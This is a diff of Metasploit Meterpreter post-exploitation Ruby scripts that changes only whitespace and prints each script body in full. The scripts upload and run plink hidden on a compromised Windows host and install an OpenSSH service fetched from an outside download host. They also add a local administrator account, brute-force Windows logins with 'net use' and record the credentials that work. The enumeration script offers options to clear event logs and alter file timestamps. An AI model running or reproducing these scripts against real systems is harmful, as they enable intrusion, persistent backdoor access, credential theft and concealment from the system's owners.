enableagentfwd = true - when "-a" - disableagentfwd = true + when "-a" + disableagentfwd = true - when "-1" - sshv1 = true + when "-1" + sshv1 = true - when "-2" - sshv2 = true + when "-2" + sshv2 = true - when "-4" - ipv4 = true + when "-4" + ipv4 = true - when "-6" - ipv6 = true + when "-6" + ipv6 = true - when "-i" - if !val - print_error("-i requires an argument !") - usage - end - keyfile = val - if not ::File.exists?(keyfile) - print_error("keyfile not found or not accessible!") - usage - end + when "-i" + if !val + print_error("-i requires an argument !") + usage + end + keyfile = val + if not ::File.exists?(keyfile) + print_error("keyfile not found or not accessible!") + usage + end - when "-m" - if !val - print_error("-m requires an argument !") - usage - end - cmdfile = val - if not ::File.exists?(cmdfile) - print_error("cmd-file not found/accessible!") - usage - end + when "-m" + if !val + print_error("-m requires an argument !") + usage + end + cmdfile = val + if not ::File.exists?(cmdfile) + print_error("cmd-file not found/accessible!") + usage + end - when "-s" - sshsubsys = true + when "-s" + sshsubsys = true - when "-N" - noshell = true + when "-N" + noshell = true - when "-n" - if !val - print_error("-n requires an argument !") - usage - end - nctunnel = val + when "-n" + if !val + print_error("-n requires an argument !") + usage + end + nctunnel = val - when "-E" - if !val - print_error("-E requires an argument !") - usage - end - processname = val + when "-E" + if !val + print_error("-E requires an argument !") + usage + end + processname = val - when "-v" - verbose = true + when "-v" + verbose = true - when "-F" - filemode = true + when "-F" + filemode = true - else - print_error("Unknown option: #{opt}") - usage - end + else + print_error("Unknown option: #{opt}") + usage + end } # Check for Version of Meterpreter @@ -304,8 +304,8 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i if not rhost or not username - print_status("You must specify a hostname (-H) and username (-u)") - raise Rex::Script::Completed + print_status("You must specify a hostname (-H) and username (-u)") + raise Rex::Script::Completed end # @@ -313,14 +313,14 @@ end # Ask user before downloading # if not manual - if not ::File.exists?(plink) - print_status("plink.exe could not be found. Downloading it now...") - print_status(license) - plinkexe = Net::HTTP.get URI.parse(plinkurl) - File.open(plink, "wb") { |fd| fd.write(plinkexe) } - print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true - end + if not ::File.exists?(plink) + print_status("plink.exe could not be found. Downloading it now...") + print_status(license) + plinkexe = Net::HTTP.get URI.parse(plinkurl) + File.open(plink, "wb") { |fd| fd.write(plinkexe) } + print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") + downloaded = true + end end # @@ -331,10 +331,10 @@ keyfileontrgt = upload(client, keyfile) if keyfile trg_filename = nil if filemode - print_status("-------Uploading plink -------") - trg_filename = upload(client, plink) + print_status("-------Uploading plink -------") + trg_filename = upload(client, plink) else - trg_filename = plink + trg_filename = plink end # @@ -371,18 +371,18 @@ params << rhost # hostkeyname = nil if not hostkey == nil - hostkeyname = "rsa2@#{rport}:#{rhost}" - print_status("Writing the Hostkey to the registry...") - client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}") + hostkeyname = "rsa2@#{rport}:#{rhost}" + print_status("Writing the Hostkey to the registry...") + client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}") end # # Give additional output when -v is set # if verbose - print_status("You set the following parameters for plink :") - print_status(params) - print_status(processname) + print_status("You set the following parameters for plink :") + print_status(params) + print_status(processname) end # @@ -393,56 +393,56 @@ print_status("-------Executing Client ------") p = nil if not filemode - p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname}) + p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname}) else - p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true}) + p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true}) end if noshell == nil - client.console.run_single("interact #{p.channel.cid}") + client.console.run_single("interact #{p.channel.cid}") end if filemode - if not noshell == true - if verbose - print_status("Waiting 3 seconds to be sure the process was closed.") - end - sleep(3) - if verbose - print_status("Deleting the uploaded plink.exe...") - end - client.fs.file.rm(trg_filename) - else - print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!") - end + if not noshell == true + if verbose + print_status("Waiting 3 seconds to be sure the process was closed.") + end + sleep(3) + if verbose + print_status("Deleting the uploaded plink.exe...") + end + client.fs.file.rm(trg_filename) + else + print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!") + end end if not keyfile == nil - if verbose - print_status("Waiting 1 second to be sure the keyfile is not in use anymore.") - end - sleep(1) - if verbose - print_status("Deleting the keyfile !") - end - if verbose - print_status(keyfile) - end - client.fs.file.rm(keyfile) + if verbose + print_status("Waiting 1 second to be sure the keyfile is not in use anymore.") + end + sleep(1) + if verbose + print_status("Deleting the keyfile !") + end + if verbose + print_status(keyfile) + end + client.fs.file.rm(keyfile) end if not cmdfile == nil - print_status("You need to manually delete the uploaded #{cmdfile} !") + print_status("You need to manually delete the uploaded #{cmdfile} !") end # # Delete the registry-key that may have been created # if not hostkey == nil - if verbose - print_status("Deleting the registry-key set by the script.") - end - client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}") + if verbose + print_status("Deleting the registry-key set by the script.") + end + client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}") end raise Rex::Script::Completed diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 56232b6227..e909ef6eea 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -13,56 +13,56 @@ meter_type = client.platform # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"], - "-U" => [ true, "Download OpenSSH-SFX from given URL"], - "-u" => [ true, "Add windows-user (autoadded to local administrators"], - "-p" => [ true, "Password for the new user"], - "-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"], - "-I" => [ true, "Install OpenSSH to the given directory"], - "-F" => [ false, "Force overwriting of registry-values"], - "-S" => [ true, "Set custom service description"], - "-N" => [ true, "Set custom service name"], - "-m" => [ true, "Do not start the OpenSSH-service after installation"], - "-t" => [ true, "Set start-type of the service to manual (Default: auto)"] - ) + "-h" => [ false, "This help menu"], + "-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"], + "-U" => [ true, "Download OpenSSH-SFX from given URL"], + "-u" => [ true, "Add windows-user (autoadded to local administrators"], + "-p" => [ true, "Password for the new user"], + "-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"], + "-I" => [ true, "Install OpenSSH to the given directory"], + "-F" => [ false, "Force overwriting of registry-values"], + "-S" => [ true, "Set custom service description"], + "-N" => [ true, "Set custom service name"], + "-m" => [ true, "Do not start the OpenSSH-service after installation"], + "-t" => [ true, "Set start-type of the service to manual (Default: auto)"] + ) def usage - print_line("OpenSSH-server deploy+run script") - print_line("This script will deploy OpenSSH + run the SSH-server as a service") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("OpenSSH-server deploy+run script") + print_line("This script will deploy OpenSSH + run the SSH-server as a service") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end def createkey(key) - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.create_key(root_key, base_key) + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.create_key(root_key, base_key) end def deletekey(key) - root_key, base_key = client.sys.registry.splitkey(key) - rtrncode = client.sys.registry.delete_key(root_key, base_key) - return rtrncode + root_key, base_key = client.sys.registry.splitkey(key) + rtrncode = client.sys.registry.delete_key(root_key, base_key) + return rtrncode end def setval(key, value, data, type = "REG_SZ") - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) end def queryval(key, value) - root_key, base_key = client.sys.registry.splitkey(key) - hkey = client.sys.registry.open_key(root_key, base_key) - valdata = hkey.query_value(value) - return valdata.data + root_key, base_key = client.sys.registry.splitkey(key) + hkey = client.sys.registry.open_key(root_key, base_key) + valdata = hkey.query_value(value) + return valdata.data end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # @@ -90,85 +90,85 @@ type = "auto" # Option parsing # @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-h" - usage + when "-h" + usage - when "-f" - if !val - print_error("-f requires the SFX-filename as argument !") - usage - end - extractfilename = val - if not ::File.exists?(extractfilename) - print_error("OpenSSH-SFX not found/accessible!") - usage - end - manual = true + when "-f" + if !val + print_error("-f requires the SFX-filename as argument !") + usage + end + extractfilename = val + if not ::File.exists?(extractfilename) + print_error("OpenSSH-SFX not found/accessible!") + usage + end + manual = true - when "-U" - if !val - print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") - usage - end - downloadurl = val + when "-U" + if !val + print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") + usage + end + downloadurl = val - when "-p" - if !val - print_error("-p requires the password (for the windows-user to add) as argument !") - usage - end - if val.length > 14 - print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !") - usage - end - password = val + when "-p" + if !val + print_error("-p requires the password (for the windows-user to add) as argument !") + usage + end + if val.length > 14 + print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !") + usage + end + password = val - when "-u" - if !val - print_error("-u requires the username (for the windows-user to add) as argument!") - usage - end - username = val + when "-u" + if !val + print_error("-u requires the username (for the windows-user to add) as argument!") + usage + end + username = val - when "-r" - uninstall = true + when "-r" + uninstall = true - when "-I" - if !val - print_error("-I requires a directory-name to use as installpath") - usage - end - dirname = val + when "-I" + if !val + print_error("-I requires a directory-name to use as installpath") + usage + end + dirname = val - when "-F" - forced = true + when "-F" + forced = true - when "-S" - if !val - print_error("-S requires s custom string to use as the service-description") - usage - end - servicedesc = val + when "-S" + if !val + print_error("-S requires s custom string to use as the service-description") + usage + end + servicedesc = val - when "-N" - if !val - print_error("-N requires a custom string to use as service-name") - usage - end - servicename = val + when "-N" + if !val + print_error("-N requires a custom string to use as service-name") + usage + end + servicename = val - when "-m" - noauto = true + when "-m" + noauto = true - when "-t" - type = manual + when "-t" + type = manual - else - print_error("Unknown option: #{opt}") - usage - end + else + print_error("Unknown option: #{opt}") + usage + end } # Check for Version of Meterpreter @@ -178,45 +178,45 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i # Uninstall if selected # if uninstall - username = nil - servicename = nil - begin - dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native") - rescue - print_status("Could not find any sshd installed by this script. Please remove manually!") - deletekey("HKLM\\Software\\Cygnus\ Solutions") - raise Rex::Script::Completed - end - uninstallfile = "#{dirname}\\etc\\uninst.bak" - uf = client.fs.file.new(uninstallfile, "rb") - while not uf.eof? - linesarray = uf.read.split("\r\n") - username = linesarray[0] - servicename = linesarray[1] - end - uf.close - # stop sshd-service, delete it, delete user + files afterwards - print_status("Stopping the #{servicename}-service....") - client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}") - sleep 2 - print_status("#{servicename} has been stopped.") - print_status("Deleting the #{servicename}-service....") - client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}") - sleep 1 - print_status("#{servicename} has been deleted.") - unless username.strip == "none" - print_status("Deleting user #{username}......") - client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE") - print_status("User #{username} has been deleted") - end - print_status("Deleting the directory #{dirname}....") - client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}") - print_status("#{dirname} has been deleted.") - print_status("Deleting regkeys ....") - deletekey("HKLM\\Software\\Cygnus\ Solutions") - print_status("Registry-keys have been deleted .") - print_status("Uninstall completed!") - raise Rex::Script::Completed + username = nil + servicename = nil + begin + dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native") + rescue + print_status("Could not find any sshd installed by this script. Please remove manually!") + deletekey("HKLM\\Software\\Cygnus\ Solutions") + raise Rex::Script::Completed + end + uninstallfile = "#{dirname}\\etc\\uninst.bak" + uf = client.fs.file.new(uninstallfile, "rb") + while not uf.eof? + linesarray = uf.read.split("\r\n") + username = linesarray[0] + servicename = linesarray[1] + end + uf.close + # stop sshd-service, delete it, delete user + files afterwards + print_status("Stopping the #{servicename}-service....") + client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}") + sleep 2 + print_status("#{servicename} has been stopped.") + print_status("Deleting the #{servicename}-service....") + client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}") + sleep 1 + print_status("#{servicename} has been deleted.") + unless username.strip == "none" + print_status("Deleting user #{username}......") + client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE") + print_status("User #{username} has been deleted") + end + print_status("Deleting the directory #{dirname}....") + client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}") + print_status("#{dirname} has been deleted.") + print_status("Deleting regkeys ....") + deletekey("HKLM\\Software\\Cygnus\ Solutions") + print_status("Registry-keys have been deleted .") + print_status("Uninstall completed!") + raise Rex::Script::Completed end # @@ -226,10 +226,10 @@ root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solut open_key = client.sys.registry.open_key(root_key, base_key) keys = open_key.enum_key if ( keys.length > 0) - if not forced - print_error(warning) - raise Rex::Script::Completed - end + if not forced + print_error(warning) + raise Rex::Script::Completed + end end # @@ -237,28 +237,28 @@ end # if manual == false - if not ::File.exists?(extractfilename) - print_status("openssh-extract.sfx could not be found. Downloading it now...") - print_status(license) - extractexe = Net::HTTP.get URI.parse(downloadurl) - open(extractfilename, "wb") { |fd| fd.write(extractexe) } - print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true - end + if not ::File.exists?(extractfilename) + print_status("openssh-extract.sfx could not be found. Downloading it now...") + print_status(license) + extractexe = Net::HTTP.get URI.parse(downloadurl) + open(extractfilename, "wb") { |fd| fd.write(extractexe) } + print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.") + downloaded = true + end end # # Generate sshd-dir + upload file to client # if dirname == nil - dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}" - print_status("Creating directory #{dirname}.....") - client.fs.dir.mkdir(dirname) + dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}" + print_status("Creating directory #{dirname}.....") + client.fs.dir.mkdir(dirname) else - if !::File.exists?(dirname) && !::File.directory?(dirname) - print_status("Creating directory #{dirname}.....") - client.fs.dir.mkdir(dirname) - end + if !::File.exists?(dirname) && !::File.directory?(dirname) + print_status("Creating directory #{dirname}.....") + client.fs.dir.mkdir(dirname) + end end fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe" print_status("Uploading #{extractfilename} to #{fileontrgt}....") @@ -273,21 +273,21 @@ client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}") fd = client.fs.file.new(envtxtname, "rb") while not fd.eof? - linesarray = fd.read.split("\r\n") - linesarray.each { |line| - currentline = line.split('=') - envvarname = currentline[0] - envvarvalue = currentline[1] - clientenv[envvarname] = envvarvalue - } + linesarray = fd.read.split("\r\n") + linesarray.each { |line| + currentline = line.split('=') + envvarname = currentline[0] + envvarvalue = currentline[1] + clientenv[envvarname] = envvarvalue + } end fd.close # Do not continue if client-os is not valid unless clientenv["OS"] == 'Windows_NT' - print_error("This script will run on Windows-NT based OS only!") - raise Rex::Script::Completed + print_error("This script will run on Windows-NT based OS only!") + raise Rex::Script::Completed end @@ -324,31 +324,31 @@ client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F") # Add windows-user if requested # unless username == "none" - if password == nil - print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") - usage - end + if password == nil + print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") + usage + end - #Get localized name for windows-admin-grp - admingrpname = nil - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") - sleep 1 - fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb") - while not fd.eof? - linesarray = fd.read.split("\n") - linesarray.each { |line| - if line[0..4] =~ /[aA]dmin/ - admingrpname = line.slice!(/[aA]dmin[a-z]+/) - end - } - end - fd.close - sleep 2 - client.fs.file.rm("#{dirname}\\groupnames.txt") - print_line("Adding user #{username}....") - client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}") - print_line("Add user #{username} to #{admingrpname}") - client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD") + #Get localized name for windows-admin-grp + admingrpname = nil + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") + sleep 1 + fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb") + while not fd.eof? + linesarray = fd.read.split("\n") + linesarray.each { |line| + if line[0..4] =~ /[aA]dmin/ + admingrpname = line.slice!(/[aA]dmin[a-z]+/) + end + } + end + fd.close + sleep 2 + client.fs.file.rm("#{dirname}\\groupnames.txt") + print_line("Adding user #{username}....") + client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}") + print_line("Add user #{username} to #{admingrpname}") + client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD") end # @@ -373,9 +373,9 @@ client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa # print_status("Adding OpenSSHd-Service.......") if type == manual - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"") + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"") else - client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"") + client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"") end print_status("Service successfully installed!") sleep 2 @@ -392,10 +392,10 @@ uf.close # Run OpenSSH-service unless noauto was specified unless noauto - print_status("Starting OpenSSH-Service....") - client.sys.process.execute("cmd.exe", "/c net start #{servicename}") - sleep 1 - print_status("OpenSSHd has been started!") + print_status("Starting OpenSSH-Service....") + client.sys.process.execute("cmd.exe", "/c net start #{servicename}") + sleep 1 + print_status("OpenSSHd has been started!") end # Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index abc351b7b7..ee4e925d62 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -2,12 +2,12 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "\tHelp menu."], - "-t" => [ true, "\tTarget IP Address"], - "-p" => [ true, "\tPassword List"], - "-cp" => [ false, "\tCheck Local Machine Password Policy"], - "-L" => [ true, "\tUsername List to be brute forced"], - "-l" => [ true, "\tLogin name to be brute forced"] + "-h" => [ false, "\tHelp menu."], + "-t" => [ true, "\tTarget IP Address"], + "-p" => [ true, "\tPassword List"], + "-cp" => [ false, "\tCheck Local Machine Password Policy"], + "-L" => [ true, "\tUsername List to be brute forced"], + "-l" => [ true, "\tLogin name to be brute forced"] ) # Variables for Options user = [] @@ -26,122 +26,122 @@ session = client # This policy may resemble the policy of other servers in the #target enviroment. def chkpolicy(session) - print_status("Checking password policy...") - output = [] - begin - r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - r.channel.close - r.close - # Parsing output of net accounts - lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/) - minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/) - failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/) - lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/) - # check for account lockout - if lockout.empty? - print_status "\tNo account lockout threshold configured" - else - print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked" - print_status "\tThe account will be locked out for #{lcktime}" - end - # check for password lenght - if minpass.to_s == "0" - print_status "\tNo minimun password lenght is configured" - else - print_status "\tThe minumun password lengh configured is #{minpass}" - print_status "\tyour dictionary should start with passwords of #{minpass} length" - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status("Checking password policy...") + output = [] + begin + r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + r.channel.close + r.close + # Parsing output of net accounts + lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/) + minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/) + failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/) + lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/) + # check for account lockout + if lockout.empty? + print_status "\tNo account lockout threshold configured" + else + print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked" + print_status "\tThe account will be locked out for #{lcktime}" + end + # check for password lenght + if minpass.to_s == "0" + print_status "\tNo minimun password lenght is configured" + else + print_status "\tThe minumun password lengh configured is #{minpass}" + print_status "\tyour dictionary should start with passwords of #{minpass} length" + end + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #-------------------------------------------------------- # Function for brute forcing passwords using windows native tools def passbf(session,passlist,target,user,opt,logfile) - print_status("Running Brute force attack against #{user}") - print_status("Successfull Username and Password pairs are being saved in #{logfile}") - result = [] - output = [] - passfnd = 0 - a = [] - i = 0 - if opt == 1 - if not ::File.exists?(user) - raise "Usernames List File does not exists!" - else - user = ::File.open(user, "r") - end - end - # Go thru each user - user.each do |u| - # Go thru each line in the password file - while passfnd < 1 - ::File.open(passlist, "r").each_line do |line| - begin - print_status("Trying #{u.chomp} #{line.chomp}") + print_status("Running Brute force attack against #{user}") + print_status("Successfull Username and Password pairs are being saved in #{logfile}") + result = [] + output = [] + passfnd = 0 + a = [] + i = 0 + if opt == 1 + if not ::File.exists?(user) + raise "Usernames List File does not exists!" + else + user = ::File.open(user, "r") + end + end + # Go thru each user + user.each do |u| + # Go thru each line in the password file + while passfnd < 1 + ::File.open(passlist, "r").each_line do |line| + begin + print_status("Trying #{u.chomp} #{line.chomp}") - # Command for testing local login credentials - r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - r.channel.close - r.close + # Command for testing local login credentials + r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + r.channel.close + r.close - # Checks if password is found - result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) - if result.length == 1 - print_status("\tUser: #{u.chomp} pass: #{line.chomp} found") - file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}") - r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - output << d - end - output.clear - r.channel.close - r.close - passfnd = 1 - break - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + # Checks if password is found + result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) + if result.length == 1 + print_status("\tUser: #{u.chomp} pass: #{line.chomp} found") + file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}") + r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + output << d + end + output.clear + r.channel.close + r.close + passfnd = 1 + break + end + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end - end - passfnd = 1 - end - passfnd = 0 - end + end + passfnd = 1 + end + passfnd = 0 + end end #-------------------------------------------------------- # Function for creating log file def logme(target) - # Create Filename info to be appended to files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf') + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf') - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - dest = logs + "/" + target + filenameinfo + #logfile name + dest = logs + "/" + target + filenameinfo - dest + dest end #-------------------------------------------------------- # ##check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -149,47 +149,47 @@ unsupported if client.platform !~ /win32|win64/i # Parsing of Options @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-l" - user << val - ulopt = 0 - when "-L" - userlist = val - ulopt = 1 + case opt + when "-l" + user << val + ulopt = 0 + when "-L" + userlist = val + ulopt = 1 - when "-cp" - chkpolicy(session) - exit - when "-p" + when "-cp" + chkpolicy(session) + exit + when "-p" - passlist = val - if not ::File.exists?(passlist) - raise "Password File does not exists!" - end - when "-t" - target = val - when "-h" - print("Windows Login Brute Force Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage) - helpcall = 1 - end + passlist = val + if not ::File.exists?(passlist) + raise "Password File does not exists!" + end + when "-t" + target = val + when "-h" + print("Windows Login Brute Force Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage) + helpcall = 1 + end } # Execution of options selected if user.length > 0 && passlist != nil && target != nil - passbf(session,passlist,target,user,ulopt,logme(target)) + passbf(session,passlist,target,user,ulopt,logme(target)) elsif userlist != nil && passlist != nil && target != nil - passbf(session,passlist,target,userlist,ulopt,logme(target)) + passbf(session,passlist,target,userlist,ulopt,logme(target)) elsif helpcall == 0 - print("Windows Login Brute Force Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage) + print("Windows Login Brute Force Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage) end diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 61a235ae23..f494c5076e 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -3,33 +3,33 @@ ################## Variable Declarations ################## @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ], - "-r" => [ false, "Dump, compress and download entire Registry" ], - "-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ] + "-h" => [ false, "Help menu." ], + "-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ], + "-r" => [ false, "Dump, compress and download entire Registry" ], + "-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ] ) rd = nil mg = nil cm = nil opts.parse(args) { |opt, idx, val| - case opt - when '-r' - rd = 1 - when '-m' - mg = 1 - when '-c' - cm = 1 - when "-h" - print_line "WinEnum -- Windows local enumeration" - print_line - print_line "Retrieves all kinds of information about the system" - print_line "including environment variables, network interfaces," - print_line "routing, user accounts, and much more. Results are" - print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}" - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when '-r' + rd = 1 + when '-m' + mg = 1 + when '-c' + cm = 1 + when "-h" + print_line "WinEnum -- Windows local enumeration" + print_line + print_line "Retrieves all kinds of information about the system" + print_line "including environment variables, network 